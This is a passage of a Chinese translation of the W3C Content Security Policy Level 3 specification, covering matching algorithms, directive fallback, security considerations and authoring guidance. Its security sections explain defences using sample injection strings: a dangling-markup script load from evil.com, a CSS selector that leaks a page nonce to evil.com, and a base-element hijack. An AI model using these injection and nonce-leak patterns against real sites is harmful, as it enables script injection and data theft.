) 的字符组成,并且 path B 是空字符串,返回 "Matches
"。 -
如果 path A 的最后一个字符是 U+002F SOLIDUS 字符 (
/
),则设 exact match 为false
,否则设为true
。 -
设 path list A 和 path list B 为将 path A 和 path B 分别使用 U+002F SOLIDUS 字符 (
/
) 严格分割后的结果。 -
如果 path list A 的项数多于 path list B,返回 "
Does Not Match
"。 -
如果 exact match 为
true
,并且 path list A 的项数与 path list B 不相同,返回 "Does Not Match
"。 -
如果 exact match 为
false
:-
断言:path list A 的最后一项是空字符串。
-
从 path list A 中移除最后一项。
-
-
对于每个 piece A,在 path list A 中:
-
返回 "
Matches
"。
6.7.3. 元素匹配算法
6.7.3.1. element 是否可以添加 nonce?
给定一个 Element
element,如果可以使用 nonce-source
表达式匹配该元素(详见
第7.2节 Nonce 劫持),则返回 "Nonceable
",否则返回
"Not Nonceable
"。
-
如果 element 没有名为 "
nonce
" 的属性,返回 "Not Nonceable
"。 -
如果 element 是一个
script
元素,则 对每个 attribute(element 的 属性列表中的)执行以下检查:-
如果 attribute 的名称包含 "
<script
" 或 "<style
" 的 ASCII 大小写不敏感 匹配,返回 "Not Nonceable
"。 -
如果 attribute 的值包含 "
<script
" 或 "<style
" 的 ASCII 大小写不敏感 匹配,返回 "Not Nonceable
"。
-
-
如果 element 在标记化期间发生了 重复属性 的 解析错误,返回 "
Not Nonceable
"。如果我们打算在这里使用它,我们需要某种 HTML 中的钩子来记录此错误。[whatwg/html 问题 #3257]
-
返回 "
Nonceable
"。
此处理旨在减轻悬空标记攻击的风险,此类攻击会从现有元素中窃取随机数以加载注入的脚本。然而,这样做代价相当高昂,因为它要求我们遍历所有属性及其值才能确定脚本是否应该执行。在这里,我们尝试通过仅在存在随机数时对
script
元素执行此检查来最大限度地减少影响,但在我们了解其影响之前,我们可能应该将此算法视为“存在风险”。[w3c/webappsec-csp 问题 #98]
6.7.3.2. 源列表是否允许所有内联行为用于 type?
如果源列表包含keyword-source
表达式 'unsafe-inline'
,并且没有像以下算法中所述的那样覆盖该表达式,则该源列表允许所有给定type的内联行为:
给定一个源列表
list和一个字符串type,如果允许所有给定type的内联内容,则以下算法返回“Allows
”,否则返回“Does Not Allow
”。
-
令allow all inline为
false
。 -
对于list中的每个expression:
-
如果expression匹配
nonce-source
或hash-source
语法,则返回“Does Not Allow
”。 -
如果type是“
script
”、“script attribute
”或“navigation
”,并且expression匹配keyword-source “'strict-dynamic'
”,则返回“Does Not Allow
”。注意:
'strict-dynamic'
仅适用于脚本,不适用于其他资源类型。用法在§ 8.2 “'strict-dynamic'”的用法中有更详细的解释。 -
如果expression与
keyword-source
“'unsafe-inline'
” ASCII 不区分大小写匹配,则将allow all inline设置为true
。
-
-
如果allow all inline为
true
,则返回“Allows
”。否则,返回“Does Not Allow
”。
'unsafe-inline' http://a.com http://b.com 'unsafe-inline'
由于存在随机数和/或哈希,或缺少 'unsafe-inline
',因此不允许所有内联行为的源列表:
'sha512-321cba' 'nonce-abc' http://example.com 'unsafe-inline' 'nonce-abc'
当type为 'script
' 或 'script attribute
' 时,由于存在
'strict-dynamic
' 而不允许所有内联行为的源列表,但其他情况下允许所有内联行为:
'unsafe-inline' 'strict-dynamic' http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. element 是否匹配 type 和 source 的源列表?
给定一个元素
element,一个源列表
list,一个字符串 type,以及一个字符串 source,此算法返回 “Matches
” 或
“Does Not Match
”。
注意:无论文档的编码如何,在应用任何哈希算法之前,source 都将转换为
UTF-8
。
-
如果§ 6.7.3.2 源列表是否允许所有内联行为类型?在给定 list 和 type 的情况下返回 “
Allows
”,则返回 “Matches
”。 -
如果 type 是 “
script
” 或 “style
”,并且在对 element 执行§ 6.7.3.1 元素是否可设置随机数?时返回 “Nonceable
”:-
对于 list 中的每个 expression:
-
如果 expression 匹配
nonce-source
语法,并且 element 具有一个nonce
属性,其值是 expression 的base64-value
部分,则返回 “Matches
”。
-
-
-
令 unsafe-hashes flag 为
false
。 -
对于 list 中的每个 expression:
-
如果 expression 与
keyword-source
“'unsafe-hashes'
” ASCII 不区分大小写匹配,则将 unsafe-hashes flag 设置为true
。跳出循环。
-
-
如果 type 是 “
script
” 或 “style
”,或者 unsafe-hashes flag 是true
:-
将 source 设置为对 source 执行JavaScript 字符串转换的结果执行UTF-8 编码的结果。
-
对于 list 中的每个 expression:
-
如果 expression 匹配
hash-source
语法:-
令 algorithm 为 null。
-
如果 expression 的
hash-algorithm
部分与 “sha256” ASCII 不区分大小写匹配,则将 algorithm 设置为SHA-256。 -
如果 expression 的
hash-algorithm
部分与 “sha384” ASCII 不区分大小写匹配,则将 algorithm 设置为SHA-384。 -
如果 expression 的
hash-algorithm
部分与 “sha512” ASCII 不区分大小写匹配,则将 algorithm 设置为SHA-512。 -
如果 algorithm 不为 null:
-
令 actual 为对 source 应用 algorithm 的结果进行base64 编码的结果。
-
令 expected 为 expression 的
base64-value
部分,其中所有 “-
” 字符替换为 “+
”,所有 “_
” 字符替换为 “/
”。注意:此替换将以base64url 编码表示的哈希规范化为base64 编码以进行匹配。
-
如果 actual 与 expected 相同,则返回 “
Matches
”。
-
-
-
注意:哈希适用于内联
script
和内联style
。 如果存在 “'unsafe-hashes'
” 源表达式,它们也将适用于事件处理程序、样式属性和javascript:
导航。 -
这应该处理动态插入的内联脚本的
'strict-dynamic'
。[w3c/webappsec-csp 问题 #426]
-
返回 “
Does Not Match
”。
6.8. 指令算法
6.8.1. 获取 request 的有效指令
每个 fetch 指令 控制 request 的特定目标。给定一个 请求 request,以下算法返回请求的 名称 或 null,作为 有效指令:
-
如果 request 的 initiator 是 "
prefetch
" 或 "prerender
",返回default-src
。 -
根据 request 的 destination,执行相应步骤:
- 空字符串
-
-
返回
connect-src
。
-
- "
manifest
" -
-
返回
manifest-src
。
-
- "
object
"- "
embed
" - "
-
-
返回
object-src
。
-
- "
frame
"- "
iframe
" - "
-
-
返回
frame-src
。
-
- "
audio
"- "
track
"- "
video
" - "
-
-
返回
media-src
。
-
- "
font
" -
-
返回
font-src
。
-
- "
image
" -
-
返回
img-src
。
-
- "
style
" -
-
返回
style-src-elem
。
-
- "
script
"- "
xslt
"- "
audioworklet
"- "
paintworklet
" - "
-
-
返回
script-src-elem
。
-
- "
serviceworker
"- "
sharedworker
"- "
worker
" - "
-
-
返回
worker-src
。
-
- "
json
"- "
webidentity
" - "
-
-
返回
connect-src
。
-
- "
report
" -
-
返回 null。
-
-
返回
connect-src
。
注意: 该算法返回 connect-src
作为默认回退。这是为了处理新添加的
fetch 目标,这些目标不明确归入其他类别中。
6.8.2. 获取用于内联检查的有效指令
给定一个字符串 type,此算法返回有效指令的 名称。
注意: 虽然 有效指令 仅为 请求 定义,但在本算法中,它用于表示与特定类型内联检查最相关的指令。
-
根据 type 进行判断:
- "
script
"- "
navigation
" - "
-
-
返回
script-src-elem
。
-
- "
script attribute
" -
-
返回
script-src-attr
。
-
- "
style
" -
-
返回
style-src-elem
。
-
- "
style attribute
" -
-
返回
style-src-attr
。
-
- "
-
返回 null。
6.8.3. 获取提取指令的回退列表
将返回特定指令的回退指令的有序集合。 返回的有序集合按从最相关到最不相关的顺序排序,并且它包含有效的指令本身。
给定一个字符串 directive name:
-
根据 directive name 进行判断:
- "
script-src-elem
" -
-
返回
<< "script-src-elem", "script-src", "default-src" >>
。
-
- "
script-src-attr
" -
-
返回
<< "script-src-attr", "script-src", "default-src" >>
。
-
- "
style-src-elem
" -
-
返回
<< "style-src-elem", "style-src", "default-src" >>
。
-
- "
style-src-attr
" -
-
返回
<< "style-src-attr", "style-src", "default-src" >>
。
-
- "
worker-src
" -
-
返回
<< "worker-src", "child-src", "script-src", "default-src" >>
。
-
- "
connect-src
" -
-
返回
<< "connect-src", "default-src" >>
。
-
- "
manifest-src
" -
-
返回
<< "manifest-src", "default-src" >>
。
-
- "
object-src
" -
-
返回
<< "object-src", "default-src" >>
。
-
- "
frame-src
" -
-
返回
<< "frame-src", "child-src", "default-src" >>
。
-
- "
media-src
" -
-
返回
<< "media-src", "default-src" >>
。
-
- "
font-src
" -
-
返回
<< "font-src", "default-src" >>
。
-
- "
img-src
" -
-
返回
<< "img-src", "default-src" >>
。
-
- "
-
返回
<< >>
。
6.8.4. 判断是否应执行提取指令
此算法用于获取指令,以决定一个指令是应该执行还是推迟到另一个更合适的指令。
例如:如果effective directive name是worker-src
(意味着我们当前正在检查一个 worker
请求),那么如果存在worker-src
或script-src
指令,则default-src
指令不应执行。
给定一个字符串effective directive name,一个字符串directive name和一个策略 policy:
-
令 directive fallback list 为在 effective directive name 上执行§ 6.8.3 获取 fetch 指令回退列表的结果。
-
对于 directive fallback list 中的每个 fallback directive:
-
如果 directive name 是 fallback directive,则返回“
Yes
”。 -
如果 policy 包含一个其名称为 fallback directive 的指令,则返回“
No
”。
-
-
返回“
No
”。
7. 安全和隐私注意事项
7.1. Nonce 重用
Nonce 会覆盖它们所传递的指令中的其他限制。因此,保持它们不可猜测是至关重要的,否则绕过资源的策略就变得非常简单。
如果服务器在 nonce-source 表达式中作为 策略的一部分传递,服务器必须每次传递策略时生成一个唯一值。生成的值应至少有 128 位长(编码之前),并且应通过密码学安全的随机数生成器生成,以确保该值对攻击者难以预测。
注意: 使用 nonce 允许内联脚本或样式的安全性不如不使用 nonce,因为 nonce 会覆盖它们所在指令中的限制。攻击者一旦能获取 nonce,就可以随时执行任意脚本。不过,当在旧代码之上叠加内容安全策略时,nonce 提供了比 'unsafe-inline' 更大的安全提升。在考虑使用 'unsafe-inline' 时,建议作者考虑使用 nonce(或哈希)替代。
7.2. Nonce 劫持
7.2.1. 悬空标记攻击
悬空标记攻击,例如在 [FILEDESCRIPTOR-2015] 中讨论的攻击,可以用于重新利用页面的合法 nonce 进行注入。例如,假设一个注入点位于某个
script
元素之前:
< p > Hello, [注入点]</ p > < script nonce = abc src = /good.js ></ script >
如果攻击者注入字符串 "<script src='https://evil.com/evil.js'
",则浏览器会收到以下内容:
< p > Hello,< script src = 'https://evil.com/evil.js' </p > < script nonce= abc src= /good.js></ script >
然后它将解析该代码,得到一个具有指向恶意载荷的 src
属性的
script
元素,包含一个名为
</p>
的属性,一个名为 "<script
" 的属性,一个 nonce
属性,以及被解析器丢弃为重复项的第二个
src
属性。
§ 6.7.3.1 是否元素可以应用 nonce? 算法尝试通过遍历
script
或
style
元素属性,查找属性名或值中是否包含字符串 "<script
" 或 "<style
" 来减轻这种特定攻击。
在实现此算法时,用户代理必须特别注意不要忽略重复的属性。如果元素具有重复的属性,则该属性的所有实例在第一个之后都会被忽略,但在 § 6.7.3.1 是否元素可以应用 nonce? 算法中,所有属性(包括重复的属性)都需要进行检查。
目前,HTML 规范的解析算法会在§ 6.7.3.1 元素是否可设置随机数?算法运行之前移除此信息,这使得无法实际检测重复属性。[whatwg/html 问题 #3257]
对于以下示例页面:
Hello, [注入点]< script nonce = abc src = /good.js ></ script >
以下注入的字符串将使用重复属性来尝试绕过 § 6.7.3.1 是否元素可以应用 nonce? 算法检查:
Hello,< script src = 'https://evil.com/evil.js' x = "" x = <script nonce = "abcd" src = /good.js ></ script >
7.2.2. 通过内容属性的 Nonce 泄露
某些对 CSP 的攻击依赖于通过各种可以读取内容属性的机制来泄露 nonce 数据。CSS 选择器是最好的例子:通过巧妙地使用前缀/后缀文本匹配选择器的值,可以将 nonce 数据发送到攻击者的服务器以便重用。例如:
script[ nonce=a] { background : url ( "https://evil.com/nonce?a" );}
nonce
部分讨论了通过隐藏元素的内容属性中的 nonce,并将其移动到内部插槽来减轻这些类型的攻击。这是为了确保 nonce
值仅暴露给脚本,而不暴露给任何其他非脚本渠道。
7.3. Nonce 重定向
Nonce 会绕过 host-source
表达式,允许开发者从任意来源加载代码。这通常对开发者而言是可以接受的,也是理想的。但是,如果攻击者能够注入一个
base
元素,那么在解析相对 URL 时,原本安全的页面可能会被劫持。也就是说,在 https://example.com/
上,以下代码将加载
https://example.com/good.js
:
< script nonce = abc src = /good.js ></ script >
然而,以下代码将加载 https://evil.com/good.js
:
< base href = "https://evil.com" > < script nonce = abc src = /good.js ></ script >
为了降低这种风险,建议在每个页面上设置明确的
base
元素,或通过在页面策略中设置 base-uri
指令来限制攻击者注入自己的
base
元素的能力。例如,base-uri 'none'
。
7.4. CSS 解析
style-src 指令限制了受保护资源可以从哪些位置加载样式。然而,如果用户代理使用宽松的 CSS 解析算法,攻击者可能会诱骗用户代理接受来自原本可信来源的恶意“样式表”。
这些攻击类似于 Chris Evans 在 2009 年描述的跨源数据泄露攻击 [CSS-ABUSE]。用户代理应使用相同的机制抵御这两种攻击:对 MIME 类型不正确的样式表使用更严格的 CSS 解析规则。
7.5. 违规报告
本文件中的违规报告机制旨在降低恶意网站利用违规报告探查其他服务器行为的风险。例如,考虑一个恶意网站允许 https://example.com
作为图像来源。如果恶意网站尝试将
https://example.com/login
作为图像加载,并且 example.com
服务器重定向到一个身份提供者(例如
identityprovider.example.net
),则 CSP 会阻止请求。如果违规报告包含完整的被阻止 URL,则违规报告可能包含重定向 URL
中的敏感信息,例如会话标识符或声称的身份。因此,用户代理仅包含原始请求的 URL,而不包含重定向目标。
还需注意,违规报告应视为攻击者控制的数据。希望在仪表板或类似服务中收集违规报告的开发人员应小心在渲染报告之前正确转义其内容(他们可能自己也应该使用 CSP 进一步降低注入风险)。特别是违规报告的
"script-sample
" 属性和
sample
属性,这两者都是完全由攻击者控制的字符串。
7.6. 路径与重定向
为了避免跨源泄露路径信息(如 Egor Homakov 在其文章 使用内容安全策略作恶
中讨论的),匹配算法会在加载资源是重定向的结果时忽略源表达式的路径部分。例如,假设一个页面的策略为
img-src example.com example.org/path
:
-
直接加载
https://example.org/not-path
会失败,因为它不匹配策略。 -
直接加载
https://example.com/redirector
会成功,因为它匹配example.com
。 -
假设
https://example.com/redirector
返回指向https://example.org/not-path
的重定向响应,则加载会成功,因为初始 URL 匹配example.com
,且重定向目标在忽略路径部分时匹配example.org/path
。
当重定向存在时,这种限制会降低文档策略的粒度,但这是为了避免此类信息泄露被暴力破解所做的必要妥协。
在 public-webappsec@w3.org 上有较长的讨论线程 “移除 CSP 中的路径?”,详细讨论了其他替代提案。
7.7. 安全升级
为了减轻历史扫描攻击的某种变体,如 Yan Zhu 的 Sniffly,CSP 不允许页面通过类似
script-src http://example.com
的策略将自己锁定到不安全的 URL 中。如 § 6.7.2.9
scheme-part matching 中所述,源表达式的方案部分将始终允许升级到安全版本。
7.8. CSP 继承以避免绕过
从 本地方案 加载的文档将继承源文档中的策略副本。这样做的目的是确保页面无法通过嵌入框架或打开包含完全受其控制内容的新窗口来绕过其策略(例如
srcdoc
文档、blob:
或 data:
URLs、可通过 document.write()
操作的 about:blank
文档等)。
srcdoc
iframe
,即使页面的执行上下文中没有 unsafe-inline
,也可以执行内联脚本。
< iframe srcdoc = "<script>alert(1);</script>" ></ iframe >
请注意,我们创建了CSP
列表的副本,这意味着新文档
的CSP
列表是其创建时相关策略的快照。新文档
的CSP
列表中的修改不会影响源文档
的CSP
列表,反之亦然。
8. 编写注意事项
8.1. 多个策略的影响
本节不是规范性内容。
上述章节指出,当存在多个策略时,每个策略必须根据其类型进行强制或报告。一个示例有助于澄清这在实践中应该如何运作。在某些情况下,以下HTTP头可能会影响
XMLHttpRequest
的行为:
Content-Security-Policy: default-src 'self' http://example.com http://example.net; connect-src 'none'; Content-Security-Policy: connect-src http://example.com/; script-src http://example.com/
是否允许连接到 example.com?简单的答案是,不允许。强制实施这两个策略意味着潜在的连接必须同时满足两个策略。尽管第二个策略允许此连接,第一个策略包含
connect-src 'none'
,因此其强制执行会阻止连接。这意味着向策略列表添加附加策略只会进一步限制受保护资源的能力。
为了进一步说明,请考虑页面上的一个脚本标签。第一个策略通过 default-src
指令将脚本限制在
'self'
、http://example.com
和
http://example.net
内。而第二个策略只允许来自 http://example.com/
的脚本。脚本将仅在符合两个策略的标准时加载:在此情况下,唯一符合条件的来源是
http://example.com
,因为两个策略都允许它。
8.2. "'strict-dynamic'
" 的使用
本节不是规范性内容。
基于主机和路径的策略很难正确实现,尤其是在像CDN这样的大型来源上。Cure53 的 H5SC 小挑战 3:“该死的 CSP!”的解决方案 [H5SC3] 是这种策略可能启用的绕过的很好例子,尽管 CSP 能够通过详尽声明特定资源来减轻这些绕过,但这些列表往往脆弱、笨拙,难以实施和维护。
"'strict-dynamic'
"
源表达式旨在使内容安全策略(CSP)在现有应用程序中更易于部署,这些应用程序对它们直接加载的脚本具有高度信心,但对提前提供合理的资源加载列表缺乏信心。
如果在 script-src
或 default-src
指令中存在,它具有两个主要影响:
-
host-source 和 scheme-source 表达式,以及 "
'unsafe-inline'
" 和 "'self'
keyword-source 将在加载脚本时被忽略。hash-source 和 nonce-source 表达式将被尊重。
第一个变化使得您可以以向后兼容的方式部署 "'strict-dynamic'
",无需用户代理嗅探:策略
'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'
在支持 CSP1 的浏览器中将像
'unsafe-inline' https:
一样工作,在支持 CSP2 的浏览器中将表现为
https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV'
,在支持 CSP3 的浏览器中则表现为
'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
。
第二个变化允许通过 nonce 或哈希获得对页面访问权限的脚本导入其依赖项,而无需在页面策略中显式添加它们。
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'
并在该策略激活的情况下提供以下HTML:
...< script src = "https://cdn.example.com/script.js" nonce = "DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></ script > ...
这将生成对 https://cdn.example.com/script.js
的请求,因为具有匹配的
nonce
属性,所以不会被阻止。
如果 script.js
包含以下代码:
var s= document. createElement( 'script' ); s. src= 'https://othercdn.not-example.net/dependency.js' ; document. head. appendChild( s); document. write( '<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>' );
dependency.js
将会加载,因为由 createElement()
创建的
script
元素不是 "解析器插入" 的。
然而,sadness.js
将不会加载,因为 document.write()
生成的
script
元素是 "解析器插入" 的。
注意: 使用 'strict-dynamic', 在运行时创建的脚本将被允许执行。如果攻击者可以控制这样的脚本的位置,则该策略将允许加载任意脚本。使用 'strict-dynamic' 的开发人员应审计非解析器插入 API 的使用,并确保它们不会被潜在的不可信数据调用。这包括在运行时决定脚本位置的应用程序或框架。
8.3.
"'unsafe-hashes'
" 的使用
本节不是规范性内容。
传统网站和依赖传统组件的网站可能难以完全外部化事件处理程序。这些网站可以通过允许 'unsafe-inline'
来启用此类处理程序,但这是一种高风险的选择(而且不能与
nonce 或哈希结合使用)。
"'unsafe-hashes'
" 源表达式旨在简化这些情况下 CSP
的部署,使其更安全,通过允许开发人员使用哈希启用特定的处理程序。
< button id = "action" onclick = "doSubmit()" >
与其通过指定 "'unsafe-inline'
" 来降低安全性,他们决定使用 "'unsafe-hashes'
" 以及对应于
doSubmit()
的哈希源表达式,如下所示:
Content-Security-Policy: script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='
'unsafe-hashes'
提供的功能对传统网站非常有用,但在现代网站中应避免使用。特别需要注意的是,哈希允许特定脚本执行,但不能确保它按照开发人员的预期执行。如果一个有趣的功能暴露为内联事件处理程序(例如
<a onclick="transferAllMyMoney()">Transfer</a>
),那么攻击者可以通过注入
<script>transferAllMyMoney()</script>
来利用它。开发人员应谨慎平衡允许特定脚本执行的风险与允许内联事件处理程序可能带来的部署优势。
8.4. 通过哈希允许外部 JavaScript
本节不是规范性内容。
在 [CSP2] 中,哈希 源表达式 仅能匹配内联脚本,但现在随着子资源完整性 [SRI] 的广泛部署,我们可以将范围扩展以启用外部化的 JavaScript。
如果为一个
script
指定了多组完整性元数据,则只有当每个项在该
script
的完整性元数据都符合策略时,请求才会匹配策略的
hash-source。
注意: CSP 规范规定,在计算内联
script
元素或事件处理程序的哈希之前,需要使用 UTF-8 编码 对其内容进行编码。而
[SRI]
则对正在获取的原始资源计算哈希。这意味着,即使内联脚本块和外部脚本具有相同内容,允许它们的哈希也可能不同。
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'
在该策略的作用下,以下
script
元素将被允许执行,因为它们仅包含符合策略的完整性元数据:
< script integrity = "sha256-abc123" ...></ script > < script integrity = "sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha512-321cba" ...></ script >
而以下
script
元素将不会执行,因为它们包含的有效元数据不符合策略(尽管其他元数据符合):
< script integrity = " sha384-xyz789 " ...></ script > < script integrity = " sha384-xyz789 sha512-321cba" ...></ script > < script integrity = "sha256-abc123 sha384-xyz789 sha512-321cba" ...></ script >
未被识别的元数据(无论是因为它完全无效,还是因为它指定了尚未支持的哈希算法)不会影响这里描述的行为。也就是说,在上述策略的存在下,以下元素将被允许执行,因为附加元数据无效,因此不会允许未在策略中明确列出的脚本执行:
< script integrity = "sha256-abc123 sha1024-abcd " ...></ script > < script integrity = "sha512-321cba entirely-invalid " ...></ script > < script integrity = "sha256-abc123 not-a-hash-at-all sha512-321cba" ...></ script >
8.5. Strict CSP(严格内容安全策略)
本节不是规范性内容。
对抗 XSS 攻击部署有效的 CSP 是一项挑战(如 CSP Is Dead, Long Live CSP! 中所述 [LONG-LIVE-CSP])。 然而,遵循以下 CSP 指令集被证明是对抗 XSS 的有效且可部署的缓解措施。
-
script-src:仅使用带有 源表达式的nonce 和/或 源表达式的 hash, 并使用 "'strict-dynamic'" 关键字源。
注意:虽然 "'strict-dynamic'" 允许简化部署(如 § 8.2 "'strict-dynamic'" 的使用 中所述),但应尽可能避免使用。
注意:为了向后兼容,建议在 "'strict-dynamic'" 旁边指定 https: 方案源。
满足上述条件的 CSP 称为严格内容安全策略(Strict CSP)。更多细节请参考 [WEBDEV-STRICTCSP]。
基于 nonce 的严格内容安全策略:
Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';
基于哈希的严格内容安全策略:
Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';
8.6. 数据泄漏
本节不是规范性内容。
当请求的内容(如 URL)包含关于用户或页面的应当被限制且不应共享的信息时,可能会发生数据泄漏。
如果使用内容安全策略(CSP)来创建允许页面通信的服务器的白名单,则可以减少数据泄漏的发生。
请注意,缺少 default-src
指令的策略无法有效阻止数据泄漏,
因为某些请求类型无法通过更具体的指令来进行控制(例如,prefetch
)。
[HTML]
fetch()
、
prefetch
等)进行数据泄漏:
[HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'
通过补充 default-src 'none'
来提高页面抵御这种攻击的强度。
Content-Security-Policy: default-src 'none'; img-src *
9. 实现注意事项
9.1. 特定供应商的扩展和插件
对资源实施的 策略 不应干扰用户代理功能 的正常运行,例如插件、扩展或书签工具。这些功能通常优先考虑用户的需求而不是页面作者的需求, 正如 [HTML-DESIGN] 中所提倡的那样。
此外,将 CSP 应用于这些功能会产生大量的违规报告噪音,显著降低其对开发者的价值。
例如,Chrome 浏览器排除了对 chrome-extension:
方案的 CSP 检查,并采取了一些措施来确保允许由扩展驱动的注入操作,
无论页面的策略如何。
10. IANA 考虑事项
10.1. 指令注册表
内容安全策略指令注册表应根据以下指令和参考资料进行更新 [RFC7762]:
base-uri
-
本文档(见 § 6.3.1 base-uri)
child-src
-
本文档(见 § 6.1.1 child-src)
connect-src
-
本文档(见 § 6.1.2 connect-src)
default-src
-
本文档(见 § 6.1.3 default-src)
font-src
-
本文档(见 § 6.1.4 font-src)
form-action
-
本文档(见 § 6.4.1 form-action)
frame-ancestors
-
本文档(见 § 6.4.2 frame-ancestors)
frame-src
-
本文档(见 § 6.1.5 frame-src)
img-src
-
本文档(见 § 6.1.6 img-src)
manifest-src
-
本文档(见 § 6.1.7 manifest-src)
media-src
-
本文档(见 § 6.1.8 media-src)
object-src
-
本文档(见 § 6.1.9 object-src)
report-uri
-
本文档(见 § 6.5.1 report-uri)
report-to
-
本文档(见 § 6.5.2 report-to)
sandbox
-
本文档(见 § 6.3.2 sandbox)
script-src
-
本文档(见 § 6.1.10 script-src)
script-src-attr
-
本文档(见 § 6.1.12 script-src-attr)
script-src-elem
-
本文档(见 § 6.1.11 script-src-elem)
style-src
-
本文档(见 § 6.1.13 style-src)
style-src-attr
-
本文档(见 § 6.1.15 style-src-attr)
style-src-elem
-
本文档(见 § 6.1.14 style-src-elem)
worker-src
-
本文档(见 § 6.2.2 worker-src)
10.2. 头部
永久消息头字段注册表应根据以下内容进行更新: [RFC3864]
10.2.1. Content-Security-Policy
- 头字段名称
- Content-Security-Policy
- 适用协议
- http
- 状态
- 标准
- 作者/变更控制者
- W3C
- 规范文件
- 本规范(见 § 3.1 内容安全策略 HTTP 响应头字段)
10.2.2. Content-Security-Policy-Report-Only
- 头字段名称
- Content-Security-Policy-Report-Only
- 适用协议
- http
- 状态
- 标准
- 作者/变更控制者
- W3C
- 规范文件
- 本规范(见 § 3.2 内容安全策略-仅报告 HTTP 响应头字段)
11. 致谢
有很多人值得称赞。例如:
-
Mario 和 Cure53 的所有成员。
-
Artur Janc、Michele Spagnuolo、Lukas Weichselbaum、Jochen Eisinger 以及 Google 的 CSP 小组的其他成员。